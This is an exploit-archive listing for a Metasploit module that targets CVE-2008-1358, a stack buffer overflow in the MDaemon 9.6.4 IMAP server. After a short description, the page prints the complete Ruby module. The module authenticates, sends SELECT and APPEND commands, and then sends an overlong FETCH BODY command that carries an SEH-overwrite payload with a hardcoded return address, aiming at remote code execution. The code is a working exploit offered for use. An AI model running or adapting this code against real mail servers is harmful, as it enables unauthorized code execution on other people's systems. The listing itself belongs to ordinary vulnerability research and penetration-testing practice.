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MDaemon 9.6.4 IMAPD FETCH Buffer Overflow

MDaemon 9.6.4 IMAPD FETCH Buffer Overflow
Posted Nov 26, 2009
Authored by patrick, Jacopo Cervini | Site metasploit.com

This Metasploit module exploits a stack overflow in the Alt-N MDaemon IMAP Server version 9.6.4 by sending an overly long FETCH BODY command. Valid IMAP account credentials are required. Credit to Matteo Memelli

tags | exploit, overflow, imap
advisories | CVE-2008-1358
SHA-256 | e1e88ec1c914159c02c88aa646f73a91ac2acbc316b4991a9d0f98473b227142

MDaemon 9.6.4 IMAPD FETCH Buffer Overflow

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Imap
include Msf::Exploit::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'MDaemon 9.6.4 IMAPD FETCH Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in the Alt-N MDaemon IMAP Server
version 9.6.4 by sending an overly long FETCH BODY command. Valid IMAP
account credentials are required. Credit to Matteo Memelli
},
'Author' => [ 'Jacopo Cervini', 'patrick' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2008-1358' ],
[ 'OSVDB', '43111' ],
[ 'BID', '28245' ],
[ 'URL', 'http://www.milw0rm.com/exploits/5248' ],
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x0a])",
},
'Platform' => 'win',
'Targets' =>
[
[ 'MDaemon Version 9.6.4', { 'Ret' => 0x64dc118b } ], # p/p/r HashCash.dll
],
'DisclosureDate' => 'March 13 2008',
'DefaultTarget' => 0))
end

def check
connect
disconnect

if (banner and banner =~ /IMAP4rev1 MDaemon 9.6.4 ready/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end

def exploit
connect_login

req0="0002 SELECT Inbox\r\n"

res = raw_send_recv(req0)
if (res and res =~ /0002 OK/)
print_status("SELECT command OK")
end

req1="0003 APPEND Inbox {1}\r\n"

res = raw_send_recv(req1)
if (res and res =~ /Ready for append literal/)
print_status("APPEND command OK")
end

res = raw_send_recv(rand_text_alpha(20) + "\r\n")
if (res and res =~ /APPEND completed/)
print_status("APPEND command finished")
end

buf = rand_text_alpha_upper(528, payload_badchars)
buf << generate_seh_payload(target.ret) + rand_text_alpha_upper(35, payload_badchars)

sploit = "A654 FETCH 2:4 (FLAGS BODY[" + buf + "(DATE FROM)])\r\n"

print_status("Sending payload")

sock.put(sploit)

handler
disconnect
end

end
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